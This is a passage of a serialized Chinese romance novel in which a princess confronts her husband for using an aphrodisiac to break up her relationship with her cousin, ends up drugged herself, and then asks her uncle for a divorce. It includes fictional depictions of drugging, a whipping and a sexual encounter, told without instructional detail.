他没有说出口的是:表妹其实对他,也不是毫无感觉的。至少她的喜怒哀乐也会因驸马而牵动,这就跟表妹把他当作陌生人的说辞不一样了。 也许,他们是更适配的一对。 “驸马,你说说你的计划吧……” 风带走了这些窃窃私语,连同鸡鸣、狗吠,变成了夜晚这场戏剧的换景插曲。 ** 山照已经找了杨力行一-夜。 但她的人手太少了,又不能大张旗鼓的找。她甚至连夜找了舅舅帮忙,但舅舅阻止了她。 “无论是什么事情,都不要在晚上闹起来。”赵仪十分严肃的警告她。 “很多不好的事情,都是在晚上发生的。”他没说具体是什么事情,只是告诉山照这个结论:“除非今天是你丢了,否则我都不会在这个时候搅弄出事情。” 山照无奈,只能忍到天亮,这才用家仆丢失的名义大肆查找。 但还没等到出去寻找的人传来什么好消息,杨力行却黑着脸回了府,更让山照觉得不安的是,他并不是一个人回来的。 杨力行高大的身躯后跟着一个娇小、年轻的身影,她像雏鸟一般紧紧跟着前方的男子。杨力行走得快了,她便抓住他的衣袖,示意他慢一点。 这样的行为举止,山照甚至不需要问上一句,就能感觉到那种并不寻常的关系。 但她还是稳住了,就这样看着两个人走到自己面前来。 只是眼神从欣喜担忧转变成了怀疑愤怒。 她已经猜到,表哥昨夜未归,大抵是跟这个女子在一起的。 杨力行表情很不自然,想笑却又笑不出来,最后只是默不作声的跪了下来。 他左右看了看屋内的仆役,仿佛有些纠结无奈:“殿下……” “这事,我只能跟您一个人说。” 殿下?山照看向杨力行,点点头,婢女们便自觉散开了。 杨力行便也把双喜支了出去。 他深吸一口气,那动作大到十分明显,山照在上面看得一清二楚。 “殿下,我……”他舔了舔嘴唇,声音颤-抖、干涩。他做着亏心事,连表妹也不好意思叫出口了。 “我昨晚,跟双喜……”他抬头望了眼山照,又垂下头:“……双喜是我的人了。” 山照却有种果然如此的感觉,她鼻头一酸,但忍住了。 没有人能够接受自己的爱人忽然说跟别人有了首尾,但山照还是愿意相信杨力行,她觉得表哥不是那种见异思迁的人。 过程,对她来说,比事实更重要。 “双喜……这个名字,我似乎听过。” 杨力行感知到山照看似平静的语气中强忍的难过,几乎要演不下去,但那种犹豫、踟蹰的表现,却让他接下来说的话更真实了。 “双喜便是之前救过我的那个人,之后便叫她去外院厨房做杂事了。昨日,双喜的爹娘设宴招待我,我便去了。结果喝多了,便、便……” 剩下的事情,杨力行不说,山照也知道了。 可她不信。 “表哥,真的是喝多了才做出这样的事情吗?”山照的眼睛就这样直直看向杨力行,仿佛审视。 杨力行避开这样的眼神,若让他自己想,这会便应该要词穷了。但昨夜驸马跟他讲的极细,山照的反应几乎都被他料到了。 杨力行羞愧低头:“表妹,我知道自己做了错事,但双喜,我却不能不认的。” “她是个善良的女子。我遇见她的时候,她家甚贫,却允许我砍了一屋的柴来报恩。” 山照点点头。眼泪积满眼眶,顺着眼眶直直流下来。 “那我恭喜你,表哥。” 山照不知道其他人遇到这种情况是怎么办,或许换成一个有脾气的公主,她会下令把背叛她的两人都砍了。 但她做不出这样的事情来。就算把他们都砍了,她也不会因此感受到更多的快乐。便是再愤怒,失去的东西也回不来了。 “可我还是不信。我们这么多年的感情,真就是那个小丫头能破坏的吗?” 杨力行便只能把话说的更坏更狠,他心里对山照道着歉,说出去话却彻底让她心冷。 “表妹,是我变心了。” 他眼底的情绪八分真两分假:“在上京,我活得太不像个人了。但在双喜眼中,我是个真正的男人。” “殿下,放我去过普通的生活吧。” 杨力行并不是个很会演戏的人,但孟浴恩太会编造了,这些东西这些情绪是杨力行内心深处真实存在的。 他不需要演,就能自然表露出来。 “那……那你以后干什么呢?回炅阳?” “不,我要去北方参军。”杨力行还是爱着山照的,但他确实对这段关系感受到了更多的无奈和痛苦,即便他努力地变好,即便他可能再过几年考了武举,真做官了,他的身份也不会变得能见光。他穷极一生,也比不上那些天生就拥有一切的人。 可他也无法说服自己不去愧疚,他早就有了这样的想法,现在不过是把想法落实。 “表妹,我知道我对不起你。我听人说了,冬天是北方最不安定的时候。王朝越稳定,表妹你的日子也会一如既往的好,我……我只能做这些了。” “你不必为了补偿我,去做这样危险的事情。一将功成万骨枯,你知道边境有多危险吗?” “况且,我也不会对你做什么。只是退回到正常地表哥和表妹关系罢了。”山照说到这里,自己都忍不住自嘲的笑了。 “天底下,哪里有我这么窝囊的人……” 杨力行感同身受了山照的心酸,他反驳:“不,不是这样的。表妹,你是全天下,最好的人!” “他们不懂你,不懂你的温柔,你是最不愿意伤害别人的人!” 山照仰天,终于愤恨的笑了:“所以,你们就这样伤害我!” “我在你们心里是不是很蠢,蠢到你跟驸马以为演这样一场戏就能说服我?!!!” 她站起身,走到台下,拧起杨力行的领口,几乎是喊出来的:“你说,你说啊!” 杨力行愣住了,他不知道自己哪里出了错。 但还是不肯承认,只是无措的否认:“跟驸马有什么关系呢?” “好好好,跟他没关系。” 山照嘴上说着好,心里却越想越愤怒,她最后几乎称得上锐利的瞪了杨力行一眼:“你等着,我先去那一个料理了,再跟你来掰扯!” 她呼来奴仆,骑上爱马云朵,一个人也没带,就这样横冲直撞奔去了丞相府。 第55章 第 55 章 真药假药 按理说, 即便是皇亲贵胄也是不能直接在闹市纵马的。但公主府跟丞相府离得不远,又都是在僻静清贵的地方,山照策马倒是没有影响到普通民众什么, 只是惊扰了些中小官吏。 丞相府的门房别的不说,认人肯定是不在话下的, 老远便认出是泰和公主。连忙唤了小奴往夫人、少爷处递消息, 又以十分的礼遇接待了丞相府这位特别的‘主子’。 孟浴恩得到消息比孟夫人更早, 他心中预料到如果杨力行没有瞒过公主或者没有遵守承诺将事情和盘托出的可能, 因而面对应该是来兴师问罪的公主却也并不紧张。 他俯首作揖,脸上是一派光风霁月:“多日未见, 殿下依旧光彩照人。” 山照却没心情跟他客套, 下了马,把马鞭往腰间一挎,就这样扯着孟浴恩的袖口往前走:“我有事跟你说,你现在找个地方。” 至于云朵, 自然有下人将其安置好。 孟浴恩脸上有些宠溺的无奈,连声道好,将山照引去了他的书房。 山照看他的表情,更是心头恼火,她心想:要是驸马说不出个所以然,她就要让他试试这马鞭的威力! 实际上,孟浴恩心里还是有点慌的,他看出山照的脸色摆明了来者不善, 但这种事情本来不是东风压倒西风就是西风压倒东风, 实在没有什么道理可以讲。 “驸马,我念在你素日里帮助我良多的份上,给你个机会, 你自己坦白吧。” 孟浴恩露出适当的一点疑惑:“殿下,要叫我讲什么呢?” “你装什么?”山照拔出了腰间的马鞭,这是纯羊皮密纹编织成的,不仅精巧细腻,挥舞起来也是又坚又韧,使起猛劲能将马打伤,更别提比马脆弱许多的人了。 “我不相信这里面没你的事情。你大可不必把我当傻子!”山照对他怒目而视:“你若是想尝尝我这鞭子,哼,我也不是不能满足你!” 人若是生得美丽,便是娇嗔愤怒也是别有一番风味的,孟浴恩心里其实不怎么把山照的话当回事,但不妨碍他觉得山照此刻有种别样的美丽与活力。 他依旧是笑着,若不知情的旁人来看,还以为他们是在进行暧昧的调笑。 山照认真起来,其实是很敏锐的,她自然感知到孟浴恩回答下的不以为然,这让她切实的感受到了一种不尊重。 他根本没有把自己的愤怒当回事!其实骨子里,也没把她这个公主当回事! 山照咬紧牙关,最后一次警告:“你到底说还是不说?” 孟浴恩摇摇头:“殿下,臣实在不知要说些什么。” 黑色泛着油光的马鞭如同闪电劈向孟浴恩,山照的耐心已然耗尽,她觉得驸马现在依旧没有感觉到她的愤怒。 孟浴恩眼神一瞬间变了,没想到公主竟然真的能狠下心来打他。他本可以躲开,却没有躲开,只是徒手抓住了马鞭,但读书人的掌心多么脆弱,那鞭子打在肉上便是一声闷响,不一会便有鲜红的血液滴落,在地面绽出点点猩红。 山照虽是生气,但真的打伤驸马后,又冷静了下来。 她心里骂着活该,但动作却瞬间停了。 “表哥的事情,你别想瞒我。除了你,没人有动机破坏我们之间的关系。” 孟浴恩示弱:“殿下,便是要谈正事,也得先给臣包扎呀。臣这左手,看这模样,可是要养好些时候了。” 孟浴恩并没有否认杨力行的事情与他有关,山照便也稍微顺了口气:“那你找个仆人帮你吧。” 男子一双凤眼却看着山照,专注到甚至有些深情:“殿下,要问事情,却连为臣包扎都不愿吗?” “这明明是你自找的!”话虽如此,山照本着多一事不如少一事的心态,又退了一步:“先说好,我可不太会包扎,你也别再搞小动作。” 孟浴恩房间里是有伤药纱布的,山照抬起他手掌看向手心,只见一片血肉模糊,便有些心软。她声音不自觉柔了些:“会有些痛,忍着些。”而后将药粉均匀的撒在伤口处。 山照本以为驸马会发出些声音,毕竟伤药都有些刺-激性,这么大的创口想必也是非同一般的痛。 但孟浴恩除了面色苍白了些,竟然没出声,只是手掌反射性的往回收了一下,而后又控制住了。要是没有那一收,山照几乎要以为他没有知觉了。 山照为他缠好纱布,再抬眼的时候,竟然发现驸马嘴角噙着些笑意,看上去竟然有些欢喜。 她心里就有点不爽,便使了些劲放下驸马的手,不想叫他太好过:“好了,伤口我也包扎了,现在你可以说了。” 孟浴恩见好就收,也不想把人再次激怒。 “殿下可不能全怪臣,那位杨公子若不是自己存了异心,就凭臣三言两语,也是不能动摇他的。”孟浴恩是很会转移重点的,比起他来,山照更看重杨力行,自然会对杨力行的背叛更敏感。 山照点头,知道他说的这句话也没错:“然后呢?” “杨公子想走,臣自然是愿意的。”他看向山照:“毕竟,臣也希望有朝一日与殿下中间再无他人。” 这听起来倒都是杨力行的错了,而孟浴恩只是推波助澜了。 山照闻言只是冷笑:“你以为我会相信吗?表哥可能确实存在退缩之心,但他绝不会主动背叛我。更不会用这样的不堪的理由分开。” 她又挥了挥马鞭:“你要是想再来一下,就继续胡编乱造。” “殿下为何这么信任杨公子呢?” 山照眼神带着警告:“这不是你该管的事情。你只需要问啥答啥。驸马,不要继续挑战我的耐心了。” “这说来,却真的不怪臣啊。”孟浴恩将一切推向了旁人:“是那小丫头爱慕杨公子,在臣的药铺买了欢情药,臣至多不过是袖手旁观了。” 山照捏了一把孟浴恩的伤口,这次如愿以偿听到了他的痛哼:“那药分明就是你下的,装什么?” “她一个小丫鬟,去哪买这种药?” 孟浴恩深吸了一口气,才勉强稳住了声线:“殿下可不能这样污蔑臣,啊——” 山照又捏了一把,这下把刚刚止住血的伤口又弄开了,鲜血瞬间染红了纱布。 孟浴恩缓过劲儿后竟然还有心情笑:“好吧,看来是瞒不了殿下了。” “药呢,是臣给的。那小丫鬟也是臣教唆的。但臣,可没有逼迫杨公子做什么。” 山照没办法否定这句话。表哥没有受伤,话也是他自己主动说的。 到底有没有做,如今已经不重要了,表哥要趁机离开她,已成定局。她也不会去强留他。 但这不妨碍她觉得驸马简直是恬不知耻:“你给表哥下药,还说自己没做什么?” “殿下说欢情药啊,其实这药也没有什么了不得的作用,若是意志坚定,想必也能抵抗得住的。” 他看着自己被鲜血洇湿的手心,眼中有些因疼痛产生的泪光:“殿下若是能再帮臣包扎一次,臣倒是能给殿下试试这药的效果。” 试试?怎么试? 山照顶着疑惑,又给孟浴恩重新上了药,包扎好。 “书房是圣贤所在,可不好做这些事情。” 他反手拉着山照往卧室走,山照也没拒绝。 其实那药一直在孟浴恩腰间佩戴的香囊里面,他早就做好了两手准备,不过若是交得太轻易,便不真了。 他想着自己接下来要做什么,竟然觉得有些激动,这种激动不来源于身体,更多的是来源于颤动的内心。 孟浴恩知道自己有点问题,这个问题也许从公主夜夜入梦开始就产生了,冷落、漠然、不甘,只是加速了他内心那种畸形欲念的形成。 他对其余女人没有兴趣,至今只对公主产生过绮念,所以,不尝试一番,他实在是此心难安。 “殿下,你看,这就是杨公子服用的药。”孟浴恩单手解下自己腰间的香囊,从里摸出一个小小的药包。 山照凑近了看,不过是些间杂着黑色褐色白色的粉末,看起来平平无奇。 “你打算怎么试?” 孟浴恩拿出个茶杯,又倒了些茶水,而后将粉末倒入水中,看着那些粉末溶解成浑浊的一团。 而后自己饮了一半,笑着回答:“臣怕殿下不信,便亲身来试啊,不知这样是否够有诚意?” 山照没说话,只是目光一直在驸马和茶杯里面游离。 直到一刻钟过去,孟浴恩还看不出来什么,山照早就不太信任他,便质问:“你不是搞了假药骗我吧?” 其实药效已经慢慢起了,只是孟浴恩刚流了些血,此刻确实感觉来得慢了些。 他闻言只是轻笑,开玩笑般怂恿山照:“这不是还剩了半杯吗?殿下若是不信,也可以自己试试……” “这药其实并不算伤身的……” 山照心里怀疑更甚了,她真觉得驸马要不是就没吃对药,要么这就不是药。 这会讲这种话,会不会是故意打消她的疑心呢? 山照看着药碗,许久。 心一横,也一口喝了下去。反正给驸马一万个胆子,也不敢下毒药给她,而且他不是也喝了吗? 这药没什么太大的味道,山照过了一会也没感觉出什么,于是质问驸马,但一开口,声音竟然有些娇:“驸马……” 才吐-出两个字节,她便住了口。怎么回事? 孟浴恩低声笑起来,那种喜悦让山照有些莫名其妙,但很快,她就没有精力管驸马的表现了。 身体仿佛有一簇火烧了起来,而且是越烧越旺,山照不是不知人事的少女,自然能感觉自己的身体变得敏感、水润。 她恼怒的看向驸马,却不过是一眼娇嗔,毫无杀伤力。 “殿下,您看,臣没有骗你。”说着,孟浴恩又笑起来,纤长的眉眼微弯,有些狐像:“您真的太可爱了。” 他站起身,把山照搀扶进了内室。 山照以为他要对自己行不轨之事,连忙推拒。 孟浴恩只是拍拍她手,安抚道:“殿下别怕,臣不会伤害你的。” “只是,您这样不相信臣。臣必须得给您看看。这药是不是真的厉害到能让人失去理智……” 他的声音比之从前多了些什么东西,让山照不得不注意到他。 孟浴恩只是把山照放到他床边休憩用的小榻上,自己倒是放下了最外层的帐纱,坐在了床上。 山照起初不知道他要干什么,只看着他在帐纱里若隐若现的身影。 孟浴恩仿佛是解开了衣衫或是别的什么,而后……他甚至叫着山照的名字—— 山照反应过来他在干什么,立刻脸红了。 怎么能这么不要脸?!当着她的面就做这种事情! 山照捂住耳朵不想去听,但那声音却如何也隔绝不全,勾弄得山照体内的热潮潮汐般的涨落。 山照几乎想叫他别喘了,但又怕自己一开口也是不成样子的声音,于是只能憋着。 孟浴恩解决完自己的事情后,又善解人意的朝着山照这边走来,他衣衫只是略有不整,但身上不免有些不同以往的气息。 山照瞬间感觉来者不善,用尽力气坐了起来。 “你别过来!” “殿下……”驸马叫她的声音黏糊起来。 “您难受吗?”孟浴恩慢慢走近,他上身本是包得严严实实的,这会却随着走动一件一件的脱了下去,直到他的胸膛一览无余。 山照感觉自己的自制力下降了,无法控制住自己的眼睛在上面流连。 好白……好粉…… 孟浴恩见状笑得更是勾-人:“殿下……” 山照别过头:“你走,别过来!” “殿下虽然不记得了,可是,那夜明明……一次,跟许多次,又有什么分别呢?”孟浴恩将胸靠着山照的后背,呼吸之间,起起伏伏、峰峦迭起。 实在是……实在是…… 山照忍无可忍,回过身,在他胸-前用力抓了一把:“别勾-引我了!你别以为这样就可以蒙混过关!” 山照心里门清,要是这样就被他得逞了,明天天亮,她还怎么追究他的责任? 此人,实在是可恨极了!!! 孟浴恩不语,又把山照放下去的手,按在了自己身上。山照感受到她手间柔软的变形,忽然顿住了。 “殿下,男人的胸,摸了也不必负责的。” 山照紧绷着的理智为这一句话,断弦了。 “贱-人——” 她猛然扑倒孟浴恩,恶狠狠的咬住他,一次又一次的留下牙印,层层叠叠,仿佛烙印。 驸马只是笑,带着痛苦与愉悦。  —— 作者有话说:不想再改了…… 第56章 第 56 章 深夜来访 水精帘里颇黎枕, 暖香惹梦鸳鸯锦。 山照从黑甜的梦境中醒来,第一眼就看见躺在自己身侧的男子。 他裸-露出的臂膀和胸-前,满是点点淤青和血斑, 山照回忆起自己是如何充满愤怒故意啃咬下去的。 这一场,与其说是欢好, 不如说是泄愤。 但就这么算了吗? 山照躺在床榻上, 默默看着床顶上的白色承尘, 那陌生的样式, 让她再次意识到自己做了怎样愚蠢的事情…… 她在丞相府跟驸马圆房了…… 右手抬起捂住双眼,山照不知道自己接下来还能干什么, 现状已经是一团乱麻, 根本理不清楚。 “殿下……” 眼前忽然有了一片更深的阴影,山照感觉到身旁的人起身,或许正在注视着她。 “滚开。”山照语气满是不耐烦。 男子却不介意她的冷待,他心中早已预演过此刻的场景, 如今他还能得到些许回应,已经是格外好运。 “臣错了……” 孟浴恩那双总是孤傲看着世人的眼,无比专注的凝在公主身上。 “你错了?”本来一点不想回他,但孟浴恩这么轻飘飘的道歉,让山照心里的火又烧了起来。 “不,是我错了。我从一开始就不该答应跟你成婚,更不该相信你的花言巧语。”山照知道一切都是自己愚蠢,蠢到总是一次次相信别人。 但她也愤恨, 为什么上京的人, 一点也不崇尚美德?尔虞我诈、虚情假意,是他们的手段。弱肉强食、适者生存,是他们的宗旨。 可这些, 难道不是跟圣贤说的完全相悖吗?说什么德行、仁孝、礼治,冠冕堂皇到笑死人了。 她的嘴角勾起不屑的弧度,冷漠地通知他。 “我要跟你和离。” 孟浴恩带着些笑意的嘴角蓦然僵住了,但不过几瞬,他表情又恢复了常态。 “殿下,这样的话可不能随便说……”他克制着自己的情绪,告诉自己,一切都要慢慢来。 “殿下,臣就这么入不得您的眼吗?臣记得,初次见面时殿下眼中的光亮。臣记得,新婚那日,掀开盖头,您见我的欢喜。” 他轻轻拿开山照捂着眼睛的手,倾着身子,眼睛像带着钩子,深深凝视着她:“如果没有那个人,殿下,您真能做到无动于衷吗?” “可就是有这么一个人!从来没有假如!” “但现在,没有这个人了。我们,不能从头开始吗?” 山照坐起身,奋力推开他,却没有推动。 驸马脸上故作的温柔也变成一种危险的偏执之色,他的双手抓住山照的双臂,力气不大,却也很坚定。 “殿下,我只是要把自己该得的拿回来。” “我是人!不是你的奖品!”山照挣脱不开,下了死口咬住他的手臂,拼尽全力,咬到牙酸,直到舌尖充盈着血腥味,她才无奈松口。 被咬住的地方,渗出鲜血。 是被咬破了。 山照却无法再去同情他,她只觉得他疯了:“不要再自说自话了,我从来没有想嫁给你,更没有什么应该不应该!” “哪怕表哥背叛了我,也不意味着我就应该投入你的怀抱,难道我就只有两个选择?天下男人又没有死绝……” “但我们已经这样了……”他指了指自己发红发肿的地方,那些虽然暴虐却也亲密的痕迹。 孟浴恩对这些话并不是无动于衷,他一直是嫉妒杨力行的,好像他不管做什么,都不被公主看在眼中。但那个人现在已经出局了,之后,公主只能看他,总会看顺眼的。 山照彻底控制不住自己的情绪了,她几乎是怒吼。 “这不能怪我,是你骗我!” “是,是臣没有防备到殿下居然对臣不信任到这种地步。但,公主难道不是也想自己彻底死心吗?” “杨公子说是喝了药才做了错事,殿下你是相信了这种说法还是不相信呢?臣以为……发乎情,止乎礼,这药不过是让有情-人不能止于礼,但也无法让无意之人生情。” 山照说不出话来。若说这药强,她无法欺骗自己的感受,她从头到尾都有理智的。若说不强,她为什么、为什么…… “滚开,我要回府。” 想不清楚就不想了,山照只想逃离这个地方,她又开始挣扎,这次,孟浴恩放开了她。 他房里的小榻上放着崭新的衣裙,正是山照的身量,他递给公主。 “我的衣服呢?”山照不想要他的东西,四处逡巡着自己的东西。 “殿下,那已经污了……” 孟浴恩没有再步步紧逼,只是退了一步:“别说臣是驸马,便不是,一件衣裙而已,能献给殿下是臣的荣幸。” “臣唤婢女来为殿下更衣,再送殿下回府。”他一面说着,一面穿上自己的衣服,准备出去。 山照正想回绝,孟浴恩却如同预料到了她的反应一般:“天色已暗,殿下骑马回府不安全。” 婢女们应声而入,房中便只剩下更衣时的衣料摩挲声。 ** 承恩公府上下这些日子一直都十分忙碌,为的是两月之后的承恩公大婚,因此虽然天已暗了,但针线、器物处的下人依旧点着灯干活。 张伯作为公府的大管家是事事要操心,这会他正盯着针线处的绣娘干活,没料忽然来了门房上的人有事要通报。 他皱眉,不知是谁夜里来见,而门房下人竟然也不敢决断。 “是谁来了?” 门房上的李二确实是不知如何应对才来问管家的。 “是公主同驸马来了,这会闹着见国公爷呢。” 李二之所以不知道怎么办,是通报还是不通报,便是打听到国公爷进了内院,虽然内院的消息是探听不到了,但晚上男人进内院能干嘛,这还需要想吗? “请进来了吗?” “这是自然,婢女们在堂里伺-候着呢,茶水点心都上了。” 管家点点头:“先去把殿下用过的丫鬟找过来伺-候着,我这就去寻国公爷。” 他一点也没犹豫就答应下来,丝毫也不怕触了国公爷霉头。便陛下此刻来旨召见,国公爷也要私下骂几句的,但若是殿下……那便只能受着了。 ** 赵仪的后院人员颇为简单,但也有几个姬妾,都是跟了他有些年头的老人了。 孟姨娘亲手端了热水进屋,她是后院里最年轻的,鹅蛋脸、柳叶眉,生得是细条条的身段,很有些文雅。 赵仪斜坐在榻上看杂文,他早已是被人伺-候惯了,便是孟姨娘那双十指不沾阳春水的妙手为他沐足也没让他多关注一眼。 孟姨娘将他的一双脚抱在怀里,用细棉布帕子擦拭干净,又放进被里,这才犹豫着开口。 “郎君,不日主母便要入门,不知是否、是否……”她话已说出口,却忽然又有些害怕,开始后悔。 赵仪放下书:“有话就说。” “停了妾的药吧……”孟姨娘的眼中已经有了泪光,但又满是期盼,她希望对姬妾一直很温和的赵仪能够答应这件事。 那药,实在是太伤身了。 赵仪没想到居然是这件事,他心想:果然人一旦脱离处境,就会贪心。 “孟氏,你还记得当初是怎么入府的吗?” 孟姨娘虽不算十分了解赵仪,但毕竟也已经做了五年他的身边人,这句反问,是个不好的信号。 她温顺的低下头:“妾自然记得。是妾的父亲,想要百张盐引。” “百张吗?好高的身价!”赵仪其实自己都记得不太清楚了,不过他肯定的是,后院的每一个女人他都提前告知过:他不会给她们孩子。 “那你还记得你这个身价是从何而来的吗?我纳你的那日,对你说过什么?” 孟姨娘的脸霎时白了,她当然记得,但是她以为,公主已经寻回来了,主母也要进门,国公爷心里那茬应该早就过了…… 那日,还是二十几岁风华正茂的英俊郎君对她说:“你若是嫁我,需得接受一点,我早已发了恒愿,不寻回侄女不娶妻生子,也许你要白白浪费这一生。” “若你不愿,我便送你回家。” 可孟姨娘没有说不的权力,她如同今日一般,温顺的同意了。 “妾有错,妾有错。”孟姨娘连质疑和争辩都不敢,只怕自己这一问,失了恩宠。 赵仪不怪罪她,他知道自己是对不起这些女人的,虽然他给了她们优渥的生活,但终究是不圆满。 他比谁都知道后院女人的寂寞,她们想要一个孩子,一个活着的希望。 可是他不愿意后院倾轧,连祸孩子的事情发生在自己身上,他只允许一个女人生自己的孩子,那就是未来的妻子。 姬妾们,负了便只能负了。 虽不怪罪,但也失了兴致,赵仪摇铃,叫婢女进来为他穿鞋着袜。 “既不想喝,便歇着吧。”是要走的意思。 孟姨娘愣愣站着,咬着嘴唇,眼睁睁看着赵仪穿上鞋要走,还是鼓起勇气上前拉住了他的袖口。 赵仪看着她红通通的眼眶,也并没想吓着她,声音柔和下来:“去睡吧。” “郎君……妾错了,别走……” 她最年轻,入府这些年,赵仪最宠她。可她也没想到,只是一句话,他便不考虑她的脸面。 半夜从她的房里出去了,这让她以后在姐姐们面前怎么抬得起头? “是我忽然想起有些事要处理,不是怪你。”赵仪随口胡诌了一个理由,他这番说辞只是看在这些年情分上,到底给孟姨娘留了些面子。 但没想到,就在此时,屋外传来了管家的声音。 “爷,公主和驸马来了。”??? 谁?这会? 赵仪感觉有点不妙了—— 作者有话说:最近真的非常非常忙,又不幸中了流感,好久才好转,这章都是一边猛擤鼻涕一边写出来的。不过确实给大家带来了不好的体验,真的很抱歉。本来作者是准备写两个if线番外的,嗯,那就之后作为福利番外发表吧。(以防有小天使不知道,就是满足订阅率条件下可以免费阅读) 第57章 第 57 章 一言为定 山照一点也不想跟驸马一起, 但这人非要说此刻外出不安全,愣是带着侍卫死皮赖脸跟着,也便只能同行了。 幸好同车的还有宜春, 让山照不至于无聊。 山照出门时虽没带侍女,但宜春立刻就反应过来叫女侍卫将她一起带到丞相府, 到那的时候只比公主晚了半刻钟。只是碍于不知公主和驸马内室做什么, 不敢打扰, 只能在门外等候罢了。 进了承恩公府, 宜春奉上一盏桂圆醪糟饮递给山照,那晶莹剔透的果肉随着液体晃动而起伏, 叫人一见便觉得甘甜。 山照饮了几口, 正感觉浑身暖了起来,便见有人掀开门帘进来。 不出意外的便是承恩公赵仪。 他已经拆了冠,只是简单束着发,浑身一点饰物也无, 看起来干干净净、清清爽爽的,同平时大不一样。 但山照知道赵仪平日里是很注意穿着的,今日这般朴素终究是自己打扰了舅舅休息。 她有点不好意思,讨好般笑了笑:“舅舅。” 赵仪只看了他们两眼,径直坐到了山照旁边:“怎么了?” 山照刚想开口又沉默了。来的时候是想告状来着,但这个原因有点太蠢了,又感觉有点丢脸。 山照又看了眼孟浴恩,他倒是坦然, 一点不好意思都没有, 那副道貌岸然的样子让她看了就火大。 算了,他都能干出这种事情,她有什么不好讲出口的? 于是掩盖了一些隐私, 将事情从头到尾陈述了遍,对驸马干的那些无-耻之事自然是好一番口诛笔伐。 末了,山照端起一旁公府婢女奉来的茶水喝了一口,借着这个动作偷偷觑着赵仪的脸色。 赵仪情绪没有太大的波动,更多的还是无奈,他不觉得这是什么大事,更不懂这有什么好难处理的。 但看着虽然内心恼火但还能跟驸马和平共处一室的侄女,他只能叹气:“所以,你现在不高兴是吗?” 山照点头。 赵仪随即看向孟浴恩,用十分淡然的语气吩咐他去罚跪。 “殿下不高兴,就是你的失职。” 山照微微睁大眼睛,她没想到舅舅的处理手段如此简单粗暴,可这样似乎也太轻易的放过驸马了。 她撇撇唇,不太满意。 孟浴恩没辩驳一句,撩了衣袍,便端端正正跪在了中堂处。 “跪到外面去。”赵仪依旧是淡淡的,但语气中没有给孟浴恩一丝反驳的余地。 山照看了眼外面,幽深的夜色不过被堂前屋后的烛火照亮了方寸之地,但不过一点余晖也能分辨出地上湿-漉-漉的一些水迹,是雪融的痕迹。 寒风瑟瑟、台阶已湿,山照能想象出跪在那里当是如何的寒冷。 她心想:干的漂亮!不愧是舅舅! 转头,以为孟浴恩会露出惊愕或是犹豫的神色,或许还会求求饶。 但这一切都没有发生。 驸马如同方才下跪那般冷静,只是站了起来,打开门出去,换了个地方,便又跪下了。 山照看不清他的神色,但心中不免有些嘀咕。驸马在她面前总是有无数的理由辩驳,可对着赵仪便一句多余的话也不说了,到底是舅舅比她威严许多,她学都学不来。 赵仪安排完驸马,又看向山照:“说吧,你到底有什么事情急到不能明日再说?你难道不知道深夜闯门很失礼吗?” 山照已经许久没有被人教训过了,赵仪只是这样不咸不淡的说了一句,便就让她头皮发紧,心里一跳。 “舅舅,我想和离。”怕赵仪不知道自己这次心意之坚定,山照沉着脸再重复了一次:“我想立刻马上跟驸马和离。” “就为了这事?” 什么叫就为了这事?! 山照生气了。 “驸马都做出这样的事情了,我还不能跟他和离吗?” 赵仪摇摇头:“你是公主,你随时可以休了驸马。只是……” 他顿了顿,脸上罕见的出现挣扎之色,半晌没有将下半句说出口。 山照看着他,眼神中满是困惑不解。 既然她随时可以跟驸马和离,为什么舅舅三番五次的总是劝她跟驸马好呢?若说是舅舅跟驸马关系好,可现在看来,竟是一点旧情也不像有。 她将这个疑问说出口。 赵仪又叹了口气,他感觉自己真是老了,对着侄女心肠总是硬不下去,可有些道理不懂就会吃大亏。 他到底是说还是不说呢? “山照,我跟陛下其实一直在教你一件事情,可惜你一直没学会。我总是想,如果你能学会,我再一点点教你好了,不能拔苗助长。可惜……” 赵仪没有再自称臣,他面上是纯然属于长辈的慈爱神色,山照内心安宁下来,认真听着他说的话。 “其实驸马也好,你那个什么表哥也罢,他们都不重要。重要的是,你什么时候才能拥有承担的能力呢?但凡你意识到你做了一个什么样的决定,并且能够为此承担一切,我就支持你。” 山照张口想说:和离也没有什么大不了的,她怎么就不能负责? 但赵仪这会没有给她开口的机会:“和离自然是可以的。但是我很明确的告诉你,下一次嫁的人许是还不如这个呢,难道下次也不高兴就和离?” “我就不能不嫁人了吗?舅舅,我的钱一辈子也花不完,我不需要丈夫的。” 曾经的山照从未怀疑过女孩长大就要定亲结婚生子的世俗,可现在她似乎找不到一个成家的理由,一切的事情都有其他人为她解决。 从成为公主的那一刻开始,她就不需要考虑平民百姓所忧愁的一切。 “那你为什么愿意为那个人怀孕生子,想跟他成婚?你能接受你原来期待的一切,以后再也不会发生吗?所谓男女情爱,于我这样的人是不重要的,但于你,或许是比一切都重要的事情。” 世间人有百种,有人视功名利禄为人间第一等要事,有人视财富金银为毕生追求,自然也有有情便能饮水饱的纯人。 山照不爱权力,不慕名利,独独是个情种,她要的是爱人的体贴而不是奴仆的侍奉。这样的人,说她再也不想成婚,怎么能取信于人。 “可天下男子那么多,我总会再遇到喜欢的人。” “你哪里还能遇得到只喜欢你,而不看重你公主身份的男人?除非是个傻子,但你会喜欢一个傻子吗?” 山照沉默,她觉得舅舅说的还是不对,可她又切实的知道,公主这个身份带给她很多,也让她失去了很多。 至少她再也不知道如果她一无所有,是否还会有人爱她这个人。如果从今往后遇到的人,都因为她是公主才来讨好献媚,她…… “不!”山照深吸了一口气:“哪怕从今往后再也没有这样的人出现,也不意味着现在就应该妥协。我跟驸马不合适,我们不应该再继续下去。” 她认真反思了自己对孟浴恩的感情:“舅舅,我承认我对驸马是有一些男女之思,不然也不会因为那药意乱情迷。可是我们之间,算不上爱。他讨好我,是把我当护身符。我接受他,是被他的脸所迷惑。” “这不是爱,只是欲-望的一时结合。” “之前我还可以睁一只眼闭一只眼忍受着这样的关系,可他都能这么明目张胆的算计我了,我还怎么忍耐呢?舅舅,你的枕边人这么算计你,你只会更生气的,为什么换了我,你们就总是有诸般理由呢?” 赵仪见她言辞凿凿,终于认可般点了点头,脸上有些欣慰。其实他并不十分在意山照做出的决定是否正确,只要不通敌叛国她能犯的错误太多了。 可她总是瞻前顾后、犹犹豫豫,这样反而让赵仪特别不放心。 他的侄女,便是要撞南墙,总得是清清楚楚、坚定不移的。为自己的决定负责,不会后悔无益的事情,是他想告诉她的事情。 “终于算是脑子清楚一点了,你都说的这么坚定了,我自然不会阻止你。但光是一门心思撞南墙也是不行的,你很多事情或许还存在一些误解……” 